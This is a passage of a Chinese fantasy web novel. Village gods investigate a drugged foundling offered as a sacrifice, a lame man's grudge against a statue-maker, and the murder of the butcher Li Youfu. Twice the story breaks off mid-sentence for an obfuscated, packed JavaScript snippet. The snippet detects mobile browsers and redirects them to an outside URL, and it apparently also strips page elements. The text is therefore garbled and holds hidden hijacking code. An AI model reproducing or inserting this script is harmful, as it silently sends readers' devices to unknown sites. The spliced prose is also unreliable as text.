我接着问他:“没做成之后呢?就结束了?是谁和你联系的?” 麻子仿佛一个溺水者在挥舞着手臂,“李得彩,一直是李得彩……没有了,我不晓得你说的病秧子是怎么回事儿!” 在他即将因为窒息而不能再发出任何声音之前我松开了手,毕竟比起惩戒当下我更在乎这件事的来龙去脉。 慧慧听过之后说道:“既然没有从麻子那里弄到人,那就只有两种可能,要么找了别的卖家,要么根本就是庄子里的小孩。以我对李得彩的了解,他并没有除了麻子以外的人脉,他老婆倒是有可能,可是这么多年来,这些都是李得彩经手的。要是庄子里的小孩嘛,他要是过了开蒙的年纪还好说,这么小,我也难找。”长久以来明月庄的人们都曲解了文慧菩萨的权能,保胎仙是对她的误读,她从不掌管女人怀胎之事,只有生产与之后的开蒙才是,不过慧慧本人好像对这些误读不甚在意,“麻子有没有说李得彩是什么时候找他要的人?” “大概一个月前。” “那不就是季青山刚躲到这里,大家开始传有水鬼的时候?” 那可真是个热闹的时候。这一整个月以来,除了李得彩自己家庭中的争吵,进出神婆子家门槛的人流也络绎不绝。而据我所知,明月庄这位技艺精湛的塑像师傅李得彩在这段时间里都像一只被圈养的鸡,坐在属于他的黄土围墙里创作宏伟的塑像艺术。这桩人口交易如果和李得彩有关,那么大概率也会被院墙中无处不在的神像收入眼底。 李春生面对我和慧慧同时投来的眼神却没有作出预期中的回答,“你们等一下。”他站起来往枯井边走去,慧慧在他身后直接问出了口,“你看不清,是不是?那尺子划伤的不仅是李春生的皮肉,也伤了天师的慧眼,你只回答我是不是。” “是。”我深刻地感受到他的声音像是肥皂泡一样轻了,在种种主动或被动的事件中,我看到神像身上涂着厚重油彩的泥土表层逐渐剥落,露出内里生着血肉骨骼的脆弱皮囊。 李春生本想从枯井里找到一些过去的景象,这是明月庄能到达的土地最深处,如今也被藤蔓和树根占领了。枯井没有做出应答,标志着这一感官的彻底失灵。 慧慧说:“你别怕,我也可以是你的眼睛,那天必定有蹊跷的事发生,不怕揪不出来他。” 蹊跷,这个词似乎提醒了李春生,他从几日前混乱的回忆中注意到了一处疑点。 “李有福说那个孩子包着花布吗?”他问道。 “是呀,包着花布,装在篮子里。” 我听到李春生的叹气,带着追悔莫及的意思,泛着焦苦的味道,“我可能碰到过他。一个拎着篮子的瘸子,篮子里是花布。” “瘸子?”我说道。明月庄跛脚的男人不多,我自然地想起了那个在季有兰家门口留守,没有参与水鬼争论的人。 “呀!”慧慧发出这么一声惊呼,我就知道她和我想到了一样的东西,“咱们光顾着救季有兰出去了,谁晓得还有这档子事。李春生,像他们这样听从神婆子的指令去看门的,得有什么要求?”这不是疑问,而是在做进一步的确认。 “四肢健全。”李春生回答道。 “是啊,姑且不说神婆子会拿出‘身上有缺,逢守必失’的话,瘸子走路都不稳,怎么会允许他去做看门堵人的活儿呢?” 这个古怪的瘸子的形象在李春生的脑海里也变得清晰,吉祥天师的眼睛没有看到他,李春生却是实实在在与他打过照面的——在他前往老屋的路上,皮肤黝黑拎着竹篮子的男人,在说了一句不清不楚的脏话以后,就是瘸着腿离开的,那方向,不正是李得彩的住处吗? 我想询问的责任又落到了我头上,“我去一趟。” “你回来。”李春生说道,“我去。” “为什么?” 他没有回答我,很拙劣地转移了话题,“不早了,金铃儿她们应该饿了。你给他们做点饭吃。”说罢他就往门外走。连慧慧也走过来把我推开,“你让他去吧。” “为什么?”我再次问道。 慧慧说:“李月来,这本就该是他来管的事。你没有看出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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瘸子说罢就脱了衣服裤子躺在床上,他家的大门常年不上锁,一条黄狗从门缝里挤进来走到床边,伸出舌头舔了舔他挂在床边的脚指头。皮肤上传来的酥麻感让瘸子陷入熟睡的安宁,很快他就打起鼾来。 瘸子不知自己睡了多久,听见丁零当啷的音乐声时黄狗还在自己的脚边呼呼大睡,完全没有履行自己作为一条狗的看家职责。瘸子的四肢都好像被铁桶压着丝毫动弹不得,而乐声却随着陌生的脚步声越来越近了,他以为自己遭了强盗,已经在脑中拟好了英勇就义的宣言。 “李观水。”什么人在喊他的名字,好在声带的操纵权还在自己手上,他微张着嘴说道:“你要打劫是找错了人,我的财富在下辈子呢。” “李观水。我不是强盗,你好好看看。”他的脑袋能自由转动了,瘸子看到自己家的院子被金色的霞光包围,连黄狗也和他一起飘荡在金灿灿的云朵里,那云朵很快在他眼中成了金币金条金疙瘩,他在突如其来的幸福中感受到一丝恐慌,“我要死了吗?你是星君?” “你认错人了,我不是星君,你不久前才和我说过话。” “哦!哦!你是天师!我日日敬香祭拜的吉祥天师!”瘸子的脸颊充血,标志着他现在异常激动的情绪,“人人都说只有神婆子和她的小儿子有面见吉祥天师尊容的资格,现在您就站在我面前,看来他们说的不对,我才是对的,积福积德,就能修成仙缘……” 李春生没有继续等他把话说完,“嘘。”瘸子就不再说了,李春生对他说道:“李观水,我有一事要问你,你务必如实告知于我。” “当然!当然!我对天师不敢有半点欺瞒!” “李观水,新登临塔基座的落成仪式上,万金花从高台上扔下的红布包裹里是一只死去多时的羊羔,这件事你是否知道?” 瘸子的四肢开始颤抖,他似乎从李春生的语气中读到了一丝责难的意味,嘴唇和鼻子一起变形扭曲,最后眼眶里掉出了眼泪,“我知道的,我知道的……” “这羊羔原本是什么?” “啊呀天师啊,万婆子说了那是畜生的瘴气进了人的脑门缝,真的不是我干的呀!” 李春生虽是我们当中最有耐心的一个,也不喜欢瘸子这样答非所问的态度,他拿出了更多作为吉祥天师的威严,“李观水,你只需要回答我的问题,别的一概不必多说。我再问一遍,那羊羔原本是什么?” “啊啊……是,是一个小孩,刚断奶的小孩。”瘸子的胸腔快速起伏,连带着鼻孔一张一合,他迅速地换气就好像一个哮喘病人。 “那是谁的小孩?” “不是我的,也不是万婆子的,我也不知道他是谁的小孩。”瘸子的脑袋晃成了拨浪鼓,“他就在门边的臭水沟里,小猫似地哭,他的两只手都长着六根手指头,多出来的指头会把爹妈家的钱都抓走,他肯定是被人扔出来了。” 瘸子身下睡着的床不见了,他看到自己像一根羽毛在空中漂浮,于是他生平第一次知道了自己有恐高的症状,这一瞬间他感到自己的脊梁从皮肉中被抽离,血液往上升,大脑往下坠。他的意志并不坚定,很快李春生就从瘸子的口中知道了这件事的原委: 他用现在装满了毛豆的竹篮子充当这个弃婴的小床,盖上花布就没人能看出来里面装着什么。瘸子的一双跛脚早就和树根一样熟知明月庄的道路,走得一点儿也不比正常人慢,或许他的眼睛随着年纪上涨比瘸腿更加不好使,他撞上了一个不太熟悉的年轻人,好像在什么时候见过他,但不记得他的名字。还好篮子里的东西没有掉出来,也没有发出任何声音,瘸子背对着年轻人骂了句:“不长眼的。” 李得彩和小白菜面对面盘腿而坐,这二人身上的衣服全都湿透了,瘸子没见过这种阵势,他杵在门口成了一尊石狮子。 “爸爸,咱们家里来客人了,你该去迎一迎。” 瘸子当然不会让妙手师傅李得彩亲自过来迎他,他迈着瘸腿来到李得彩跟前说:“李师傅,我知道你们最近在为买贡品的事儿发愁,我这儿正好有一个。” 他看见李得彩手上的古巴烟斗在阳光下闪着晃眼的光,表面已经在李得彩的把玩下充满了均匀的光泽,瘸子时常想是不是因为李得彩有一双能塑像的妙手才能把烟斗玩得如此漂亮。然而李得彩从没主动和他说过话,今天是第一句:“有什么?” “我有合适的贡品,我不要钱。”瘸子向李得彩展示了篮子里的东西,现在李得彩的眼睛也和古巴烟斗的表面一样亮了,他问:“哪儿来的?” “捡的。苍天保佑,他是实在养不大了,我才送来您这里的。我知道万婆子说过,这些注定养不大的孩子,就做个法事让天师收去,下辈子便不会再来这里受苦。而且,你们不是正好要这么大的吗?” 李得彩翻开包裹孩子的花布,一眼就看到了手掌上多余的指头,“六个指头?会把福气抓走的。” “怎么会呢?爸爸。”小白菜凑了过来,“正因为他的六个指头,才能在天师接走他的时候牢牢抓住天师的衣袂,从此再也不来明月庄。有的事情在今天是不祥的征兆,到了明天也能成为凤凰的羽毛,他是这样,我也是这样,你说对不对?” 听到这里,李春生问道:“你送过去的时候,那孩子还活着吗?” “天师!我对您发誓他是活着的!否则您就让我和李洪一样变成野狗!” 他并没有变成野狗一样的生物,证明瘸子的话是真的。 “那么,在落成庆典的当日,他是活着的吗?如果你说的不是真话,野狗就会吃掉你的舌头。” 瘸子像是被抽空了的皮囊,想象着野狗分食他舌头的情景四肢僵硬动弹不得了,他的眼球迅速布满神经网络般的血丝,嘴唇和死人一样逐渐变灰,似乎是决定要用沉默来回避这个问题。 “李观水,如果你不回答我,等到太阳升起,你也会长出第六根指头。” 瘸子开始哭泣,他的眼泪源源不断地滑落到枕头上,身下没有床板,眼泪就垂直降落成了大雨。“天师,天师,我全都说,我一五一十地说……当天,我也是拎着篮子把孩子送去的,我给孩子喂了药,但告诉李得彩他是睡着了,这个年纪的小孩都是贪睡的。我知道,他活不到庆典开始的时候啦,所以啊,那天他是死的,是死的!” 真相仍不完整,李春生接着问他:“如此,万金花必然会发现手上的是个死婴。这是重大的事故,最能让神婆子下不来台的情况。你这样做,是与她有仇怨吗?” “下不来台,怎么会呢?她可是明月庄有史以来最有能耐的神婆子,就是她想了法子让我天天为您上香,吃素苦干,早出晚归,她如此灵验让我真的见到了您,我可不想让她下不来台。天师,我知道万婆子是您在明月庄的传话人,但李得彩就是个做手艺的,他沾了神婆子的光,却不安分守己。我就要让他尝尝苦头,李得彩才是接手了这个孩子送到台上的人,神婆子应该罚他!应该罚他!” “这么说,你是与李得彩有私仇?你想通过万金花,让李得彩受到惩罚?” 瘸子身下哗啦啦的眼泪雨止住了,声音也恢复了活力,谈到李得彩的过错时他整个人都显得很亢奋,“他该罚啊!他作为塑像师傅,却画歪了您的眼睛,堂而皇之地将残次品摆在高塔上让我们祭拜!哪怕是残次品,也是天师您在人间的代表,他应该用稻草包好塑像,一边念经一边用小锤子慢慢敲碎重做,他怎么能做那种事啊!” “等一等,李观水。你看到了什么?” “就是上一次登临塔着火的时候,是李得彩,是李得彩在放火啊!” 25.岔路 轻飘飘金闪闪的梦在瘸子面前关电视机似的“啪”就结束了,他直挺挺地掉回自己的硬板床上,黄狗很早就已经醒来去别的地方觅食了。有关梦的回忆贯穿了他的太阳穴,瘸子连忙捂住自己的嘴巴。可惜事实已经发生,再闭嘴也不能把话收回。他看了一眼神像前已经燃尽的香,打扫干净香灰便扶着腿出了门。 万金花经历五日的自我惩罚后就取得了人们的原谅,当她带着劫后余生的喜悦准备继续前去做施工的领队时,她的两个双生子手牵手回到了家中。 “还知道回来,我以为你们俩死在外边了呢。” 银铃儿说:“死外边你俩还省事儿呢。” “我真是不如没生过你们俩!” 万金花站在修塔队伍的末端不断回忆起自己失败的母女关系,不管是与下一代还是上一代,她都觉得自己是被抛弃的一方。剩下那个本该与她成为共同体的小白菜,却逐渐长大挤压她在明月庄的生存空间。万金花对这一切的发展感到疑惑不解。李得彩背着手挪过来对她说:“莲花台的位置固定好了,东西全都搬过去了,一会儿我就上去。” 万金花看着尚且空无一物的高架子想象那里会出现的宏伟塑像,她对这次修塔怀抱着和自己死里逃生的雪夜一样的憧憬,也怀揣着相似的疑问,她现在明白了自己的幸福都寄托在这尊巍峨的神像上,那么自己的痛苦呢?好像也和它脱不开关系。 “你看。”李得彩掏出一张叠得如同破抹布般的纸,上面画着只有他自己能看懂的塑像草图,不过从他用各种颜色标注的重点来看,成品必定会艳惊四座,成为明月庄所在城市最伟大的艺术品。“我就这样塑,你说行不行?” 万金花白了他一眼,“我说不行你就不做了吗?” “嘿嘿。”李得彩叼着烟斗发出和小白菜十分相似的笑,这让万金花后背起了鸡皮疙瘩。她忽然发现过去登临塔的选址会正好遮挡住这个季节的阳光,现在她站在房屋、河流和农田的夹缝中,太阳像是抓犯人的手电筒,对准她照了一束下来。 “万婆子。”不知是谁的声音从背后传来,把万金花吓了一跳,她脱口就骂道:“神出鬼没的,要死啊!” “万婆子,是我。”瘸子脸上尴尬地赔着笑,“得彩师傅呢?他已经过去了吗?” “你有什么事儿和我说是一样的。” “万婆子你误会了,我就是来找你的。”瘸子不断搓手掩饰自己的不自在,“婆子,你当年见着天师的时候,是怎么个情形?” 他问的太直接,万金花脑子还没转过来是怎么回事儿,瘸子又接着说道:“婆子,真让你说着了,我这十几年来都听你的,安分守己不作恶,老老实实吃素烧香,昨天晚上,天师真的显灵啦,他就站在我的床边和我说了好一会儿话,这是托你的福啊!” “什么?”万金花感到无比诧异,瘸子若不是疯了,就是要用这个故事达成他的目的。神婆子自己心知肚明,她二十岁时梦见吉祥天师在眼前显形的事是靠自己一张嘴编出来的故事,小白菜所谓的三仙汇首就更是凭空编造出来预备夺取她地位的一步棋,她没有见过,这个瘸子怎么会见过呢?想来他是个学人精,编故事也只是照抄别人的。 “你说你见到了他,那他与你说了什么话?” “啊……”这让瘸子怎么开口呢,哪怕他在心里将犯有大不敬之罪的李得彩和英明神武的神婆子划分得清清楚楚,在知道了万金花不仅不责怪李得彩,还把过错全都自己担着的时候,即便不能理解,也知道不能当着万金花的面直接点名李得彩的罪名,他只是恨李得彩,并不想赔上自己的性命。“我……他问了我很多话,我也说了很多,但是一睁开眼睛,就全忘记了。但是万婆子,我说的都是真的。” “行,好,你说的是真的,你今天就是拿着这殊荣跟我炫耀来了。” “我不是啊!万婆子,我是来感谢你的。还有,还有……”瘸子走得更近了些压低声音说道:“你千万要看好那塑像!” 万金花从鼻孔里喷出一股鄙夷的气流,“你放心吧,这塑像啊是不会变成畜生的。” 瘸子落满灰尘的大脑开始运转起来,他想象一双牲畜的眼睛代替了天师神像上漂亮眼眶的位置,像河岸边圆润的石子,像他尝过几次的黑葡萄。“是啊,婴儿怎么会变成羊羔呢?是瘴气进了他的脑门,可是瘴气是哪里来的呢?”瘸子想着。 他没有得出这个问题的答案,却明白了自己做梦的原因:“我懂啦,天师就是给我派任务来了,我可得抓着这个瘴气鬼!” 万金花说:“你们都是糊涂蛋,竟然都不知道瘴气是怎么来的,我都说了,天地中诞生出来的,动物牲畜孕育出来的,孤魂野鬼转变来的!” “动物牲畜,动物牲畜……” 当瘸子一边皱着眉一边憨笑着去寻找瘴气源头的时候,慧慧刚刚结束了她对李春生的日常诊疗,自从李春生的眼角受伤之后她就极力坚持要这么做,我常常觉得时间在慧慧身上表现得生生不息,不像我这般死寂,也不像李春生那样虚无,时间在她身上有始无终,这让她更加关注着当下的时刻,过往的不顺都会随着时间一分一秒地流逝成为微不足道的小土块,而未来则是源源不尽的大海。 慧慧问李春生:“初七那天,我以为那火是你故意引起来的。” “点火的不是我,我只是让它烧得更快,更旺些。不过当时光看着小白菜了,还真没注意到李观水看到了李得彩点火。” 慧慧对此不解,“李得彩,他为什么要放火?还是在那种场合,他也疯了不成?” “不重要,慧慧。只要小白菜还在我的预想中行事,别的现在都不重要。” “那李观水呢?” “看看他接下来的举动吧,我会应变。” 李春生发了话,继续刨根问底下去就没有意义,于是慧慧把话题转移到我身上:“我有别的问题要问你,你不让李月来去找李观水,是不想他参与太多,是吧?” 李春生靠在椅背上把头后仰,闭着眼睛说:“你看出来了。” “我看出来了,但我不太明白。”慧慧在李春生对面坐了下来,“既然寄托了人的身躯,不如趁这个时间重新体验一次人生,我是这么认为的。尤其是李月来,就这么置身事外,你不觉得他太孤单了吗?” “一直以来他做得很好。” “他只是习惯了。”慧慧绕到李春生的背后按摩他的太阳穴,“习惯了,不代表他就应该继续这么做,对吧?” “可是慧慧,你也说过,我们都有各自要解答的难题,你要理解生命,我要理解人,他要理解死亡。我想这三者归根到底是统一的,不过是起点,过程,还有终点罢了,缺少任何一个都是不完整的。我是出不来了,但李月来可以,既然他从未踏进这条河流,那最好以后都不要,他应该继续做一个清醒的旁观者,靠得太近,就不识庐山真面目了。” 慧慧停下了手上的动作,轻轻抚过李春生眼角长长的疤痕,“你想得该不会是那个吧?” “你有想法大可以说出来。” “你还真像个老师。”慧慧顺着疤痕往下,抚摸过李春生的颧骨和下巴,“我们这地方,尚缺一位正神。他需要刚正不阿,不可偏私,还需要对人世间的悲欢离合淡然处之。” “你也这样想过不是吗?更何况,这就是他一直以来在做的事。我想他就是最合适的人选。” “你很残忍,李春生。”慧慧将手搭在他的肩膀上,“他从人世而来,你却要他与人世再无瓜葛。只是因为他合适?燃灯星君没有向你许过愿望,怎么也被你牵着走呢?你该问问他的意见。” “只是一个建议,他可以拒绝。司掌死亡的燃灯星君,本就不该参与太多人间的事,这会害了他的。但是慧慧,你要为人启蒙明智,但人一生的道路并不是在启蒙的时刻就决定好了的。所以我想,如果你要理解生命缘何发展出亿万计的道路,就应当多看看人的不同面目,美好的需要,丑恶的更需要。这就是你和李月来要走上不同道路的原因。” “小疯子。”慧慧落下这么一句,叹了一口气说道:“看来,我们最终还是分道扬镳了。” 李春生睁开眼睛,持续了半日的头疼已经舒缓了许多,“那我祝你们一路顺风吧。”他重新戴上了小季老师赠送的那副眼镜,“我要去给小白菜上课了。” 慧慧也一挥手道:“我也走了。” “你去哪里?” “去一个美好的地方。” 后来慧慧向我详细转述了她和李春生之间的谈话,仍不死心地询问我是否有迫切想要做的事。而我不出所料令她失望地回答道:“我不知道。之前想帮他,现在忽然不知道该怎么做。”我问她是否可以给出一些建议,慧慧说道:“那你应该好好享受李月来的一生。” “什么意思?”我问道。 “置身事外的是燃灯星君,又不是李月来。要是真的不知道该做什么,不如回家一趟吧,当神仙这么多年,也挺累的吧。” 几日后我看着孟明达向我递来的酒铺子里的新酒,“东栏醉,你尝尝。”抿了一口,觉得口感有些发甜,与酒的名字不甚相称,我便始终握着杯子没再往嘴里送。孟明达接着说:“我知道你是来问季有兰和李……李……” “李小潭。” “哦对对,我记性不好,总是记不住那个姑娘的名字。你放心吧,她们好着呢,有周老师在,不会亏待她们的。” “嗯。”其实我今天并没有特别的目的,也不是为了季有兰和李小潭的近况而来探访的,只是眼下李春生和慧慧大部分时间顾不上我,才来他这里消磨一些时间。李春生的那句“别去”又将我打回过去游离在所有人之外的生活,明月庄有我没我一个样,过去为曾产生的情绪波动而感受过的欣喜也一并烟消云散了。 孟明达看我许久不说话,点了一根香烟给我问道:“你咋了?失恋啊?” “滚。” 这人口无遮拦,递过来的烟倒是比麻子那儿的好多了。我看着墙上一尘不染的左小青的相片问他:“挂了得有十七年了吧?” 他吐出长长的一口烟,“有了。日月如梭呀,不久前还给繁枝换尿布呢,准眼高中都要毕业了哈哈哈哈哈。” “孟明达,你相信人有来世吗?”我问。 “啊?”他短暂地犹豫了一下之后拍着胸脯说道:“转世投胎都是唬人的把戏,我说唯物主义才是正道,死了就是死了嘛,尘归尘土归土,我不信那玩意儿。” “要是真的有呢?” “啊?”我今天问的着实有些多了,“有就有呗,咱也不能改变他吧是不是哈哈哈哈哈哈。”孟明达总是在对话中发出各种各样的笑声,好像任何情况都不能令他沮丧似的,他拉近椅子调整了一下坐姿说:“不过我想啊,这转世投胎也不完全好,要是一个人活得特别绝望,他要是知道死了还会再来,这不是折磨人吗?所以啊,就算是真的,还是不要让人知道的好。” 其实我们的本质从来都不是肉眼可见到的东西,心脏不是,大脑也不是,一切附着在躯干上能够被他人感知的东西,不过是由本质生发出来的绒毛而已,人的生命历程,就是用这些绒毛从外界汲取营养物质,供养本质的过程。而这本质被称为“灵”,是随着世上万事流转而不断诞生和消亡的活着的细胞。人有生死,灵也一样,人的欢欣、满足、幸福使它饱满明亮,而悲苦、挫折、伤痛使它干瘪黯淡,不过这些都没有关系,因为它最终都会通过死地之门,在我面前经过淘洗与判断,来决定下一世的身份,它将随着新生命的第一次呼吸重新开始,直到某次的生命旅途还未走到开蒙就终止,才会彻底消失化为尘土,而这又为新的灵诞生提供了养分。 在了解了这样循环往复的规则后,我更加对生死这件事感到迷茫,既然一切都会在周期结束后重来,那么开始又有什么意义呢?一切有用和无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069155|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的事都成了略过皮肤的微风,没有捕捉的必要了。 我说:“要是好人有好命,恶人遭报应,有的人因为善心而在下一世得救,有的人因为作恶而在下一世朝生暮死,你觉得如何?” “不就该是这样的吗?”孟明达脱口而出。我却有着不同的观点,“但记忆和经历都被洗刷了,谁知道是奖励还是惩罚,这还有意义吗?” 他认真思考了一会儿,“那这阴司判官,可得刚正不阿才行,该奖的奖,该罚的罚。咱们平头老百姓,那就好好体验好好活呗。” 我回头看着孟明达,并没有想到他会说出这样的回答。“你干嘛这个眼神看我?你是判官啊?你非得问我,来都来了,把这辈子过踏实了就好,想那么多干嘛。” “你刚刚说体验?” “对啊,不就是体验吗?难不成知道了会死就不要生下来了?这两头的事儿最不能掌握了,咱们把中间经营好就行啦。诶你,问这些是,在写小说吗?” 和孟明达聊天有时候真想站起来踹他两脚,“是,出版了你看吗?” “看啊,我买五十本送人!” 我笑了,有点像密封的汽水瓶子终于被拧开了瓶盖,忽然觉得身上不再那么紧绷。我又问他:“你说,人有可能与别人没有任何联系地活着吗?” “那怎么能叫活着呢?那只是存在!”他把烟斗狠狠地戳到烟灰缸里熄灭,“李月来,你没遇着什么事儿吧?不像你平时说话的风格。你要不,回家跟你爸吃个饭吧,感受一下家庭的温暖。”他说这话的时候表情极尽浮夸,眼看着我要把烟头戳到他胳膊上才收敛了动作。 不过他说的在理,人不能只是存在,而是要与他人产生联系。从这一角度来看,也许我还是能做些什么的。 “你,能不能给月儒月贤她们介绍份工作,远一点,但也别太远。” 孟明达也好像全身都放松了下来,“你神神叨叨地搞半天就为这个呀?早说嘛,我帮你留意着,这不难办。” “行。”时候不早了,我想的确可以回家一趟,“酒我拿走了。” “你不是不爱喝这个吗?” “我送人。” 这东栏醉我喝着觉得太温吞,酒不如其名,给李春生倒是正好。回到明月庄的时候星星已经挂上了夜空,我把酒坛子放在了他的桌上,就回了李有福那个满是孩子的家。 我这屠户老爹从年轻时起就早出晚归,白天杀猪,夜里抓鱼,清晨卖鱼,回家来往地上一趟就呼呼睡去。我在房顶上看着除我之外年龄最长的妹妹李月儒和李月贤正在度过她们日复一日的饭后生活。李月儒看到了我,朝我喊道:“哥!” 我将过去李有福陆陆续续塞给我的话梅糖抛给她们,很快剩下的八个孩子就像鸭子一样围拢来向她们讨要糖果,又很快地散去做各自的事,最小的妹妹李月眉拽着大姐的裤腿咿咿呀呀地说:“睡,睡觉。” 李月儒捏捏她的脸蛋,“好,小眉去睡觉,但是今天哥哥来了,我不能陪你,你去找书姐姐,和书姐姐一块儿睡好不好?” “好。”李月眉迈开短了一截的右腿,慢悠悠地回房去了。 我这时候才从屋顶上下来,坐在李月儒和李月贤旁边的井台上,她们两个并排坐在一张麻绳编的秋千里晃悠着,我问她们:“自己做的?” 李月贤说:“我做的!”她患有唇腭裂,从小就不愿多说话,但是手工技艺了得,明月庄里也没有人能比得过她。我对她们两个说:“我托人帮你们在外面找份工作吧,以后能照顾你们自己。”李有福泛滥的善心拯救了她们的性命,同时却也将她们困在这里,孩子不断地被捡进来,她们作为保姆的生活就无休无止。 “现在也够,哥。”李月儒说道。除了在家里自有的田地上种瓜果蔬菜,李月贤还用她的手工活儿一周一次拿去集市上卖,她手艺灵巧,卖得也不错,有时还能碰上预定的单子,日子就这么紧巴巴地过到了现在。 “你得想想以后。不能一辈子都在这儿。你们每一个都要有自己的生活。” 李月贤说:“可是哥,咱们就这么走了,妹妹们和月良怎么办,他们的年纪还小,总要有人来照顾的。” “李有福捡孩子都快捡成幼儿园了,他这善心分一点到骨气和头脑上你们也不用过得这么紧巴巴的。”我说。 李月儒说:“哥,要是没有爸,我们连一岁都活不到,我也想出去呢,但现在帮着家里是咱们几个的责任。他早出晚归,九成的钱都留在家里了,咱们难,他也难。”她低下头去,慎重思考了一下我的提议,“这样吧,要是真有合适的,我去,月贤就在家里,继续卖她的小东西,这样就多一分家用了,怎么样?你既然是托人找的,要是咱们一个都不行,你也会难堪吧。” 她已经计划得足够缜密,我也没有反驳的余地了。这个家里只有我和李月儒的身上没有先天的残缺,这样的安排的确更合理些。 “我说过他了,再捡进来就送去外面福利院,不会再让你们养着。”类似的话我已经说过好多遍,李有福前不久想要抱养仓库里婴儿的行为也证明这作用不大,“其实可以的话,这几个小的……” “哥!”李月儒打断了我的话,“至少爸还在的时候别说这个了,行吗?” 我点点头,“抱歉。” “送你,哥!”李月贤举起了她手中的小把件,是一支用木头做成的短笛,打了红色的流苏坠子做装饰。 我久违地在家里的床上度过了安稳的一夜,这个孩子众多的小房间居然在夜里安静得出奇,没有哭声也没有吵闹,只有微风般的呼吸声,略过我的皮肤。我没怎么睡,看着窗外由漆黑到逐渐发白的天色,第一次短暂地摆脱了燃灯星君的身份,而只是作为李月来和名义上的家人们躺在一起。第二天从浅薄的睡眠中醒来的时候,我发现一条薄毯子盖在我身上,李有福见我醒了,憨厚地朝我笑了笑,便推着他的三轮车出门讨生活去了。 26.无福之家 李有福死了,死在距离明月庄好几公里远的地方,他的灵魂却在咽气的那一刻回到了横贯故土的母亲河旁。铃铛的声音响得急促,像一通电话热线。我尚未真正靠近,头颅的轮廓就隔着薄雾向我昭示了他的身份。 我犹豫了,不知道该以什么身份去面对他。沉默将我们之间的距离拉长成清溪河看不见尽头的河道,夜晚的水波随风拍岸发出的声响节奏好似我们彼此都早已失去的心跳。 “李有福。”我呼唤地上头颅的名字,他的眼睛木讷地转向我,和那天清晨我见过的一样泛着灰,他张了张嘴,却没能从喉咙里发出声音,我告诉他:“你可以说话的。”他听了,这才耸动了一下破碎的喉结问道:“我在哪儿?” 李有福的整个脑袋都湿透了,厚重的青苔味道从他的口中飘出来,顺着我的手指缠绕上胳膊,这种味道让我想起最讨厌处理的食材——鱼。我借着月光看到他脖颈处大大小小的伤口,它们纵横交错,像鱼鳞。 “你在明月庄,你回来了。”我说。 一颗头颅是做不到摇头的,李有福继续张开他的嘴唇说道:“我不在明月庄,我在外面呢。” “嗯。我帮你找回来。” 我将李有福的头抱在怀里,就像他在夏天的时候抱回一只西瓜。像今晚这样晴朗的天气星星和月亮的光就已经足够赶夜路了,我听说日月星辰都是自西向东运行的,在漫长的生命中我曾抽出将近百年的时间去观察山羊坡上空的星星,而事实证明它们的确拥有着漂亮的运动弧线。不过雾气隔绝了我和死者与时间的接触,在李有福通过死地之门以前,我们眼前的星星再过一万年也不会有变化。 我调整了一下怀里头颅的角度,让他能够毫不费力地看着天空,二十多年以前,不满十岁的李月来也是在这样的夜晚和李有福一起看着星星,直到他歪在春凳上沉沉睡去。“李有福,今天晚上的星星很漂亮,你多看看吧。”他没有回答,眼眶里的灰却消散了一些。 在一处充斥着蚊蝇的垃圾场角落里,我们找到了李有福的左臂,渔网纤维在手掌上勒出清晰的痕迹。在深夜捕鱼是李有福自从捡到我开始就一直在做的事,至今整整三十二年。 “今天的天气很好,一般来说这样的夜晚你都会多等上一两个小时,这样鱼篓里能装得更满,明天到菜市场上能卖掉的也更多。做屠夫让你手上沾满了牲畜的血,这让你在明月庄一辈子都低人一等,卖鱼的收入是你为孩子们准备的积蓄,和屠宰的工钱一起,让你的孩子们能够挺起胸膛。对吗?” 同样的,一颗头颅做不到点头,他沉重地叹了一口气,将口中浑浊的死水气味全部呼出。 我接着说下去:“可是李有福,其实你没什么做生意的天赋,你在市场里不像个卖鱼的,倒像是被绑了腿的公鸡。”头颅发出呵呵的苦笑声,默默认同了我的说法。“今天晚上你也是想着多捞一网再回家,就是这个念头让你遭遇了不幸。” 捡起左臂,摊开手掌,“收网的时候有人从背后拍你的肩膀,你吓了一跳,渔网却还是紧紧地抓在手里。那人的面孔你并不认识,只看见他扶着腿,应该是个瘸子。” 多带着一条胳膊行路着实有些不方便,因此我们开始寻找李有福的躯干。在前往湖边的路上,怀里的头颅忽然对我说:“你说话,像我的大儿子。只是他,话太少。” 洛塘湖边最松软的一块土地里,侧卧着李有福的躯干,从这个角度,就能很清晰地看到他有些驼背,这和他常年对人躬身哈腰有关。就连李有福自己,也已经记不得是什么时候开始握住刀柄,成为了明月庄的庖丁。据我的了解,这样的手艺大都源于家族传承。 “杀猪宰羊和吃饭睡觉一样是你生来就要做的事。从你的太爷爷开始,宰杀牲畜就是你们屠户李家的使命和职责。不会有旁人来学习这门手艺,因为杀生是损功德的事,既然有人在做了,那就让他的家族世世代代都承担下去。为此你从出生开始就是庄子里的下等人,比神婆子家的黄狗还不如的东西。而你见到的那个瘸子,也是这么看待你的。” 头颅提高了他的声调,“要是我不做,就有别人被欺负啦。我习惯了,没关系。” 善良过了度就是朝向自己的尖刺,李有福过度的包容为他的遭遇埋下了祸根。瘸子问他:“你就是杀猪的李有福?” “你听到瘸子说出了你的名字,连忙松开手里的渔网,转而在裤腿上反复擦拭手掌,即便那上面除了茧和勒痕什么也没有。你不认识这个瘸子,但你隐约觉得他是来找自己麻烦的。李有福,你的预感没有错,因为下一秒你就看到了瘸子裤腰带上别着的柴刀。” 瘸子耸耸鼻子露出凶狠的表情,“你是不是去仓库了?” “我洗干净啦!我都洗干净啦!手上脚上什么也没有的!”李有福朝瘸子大喊道。 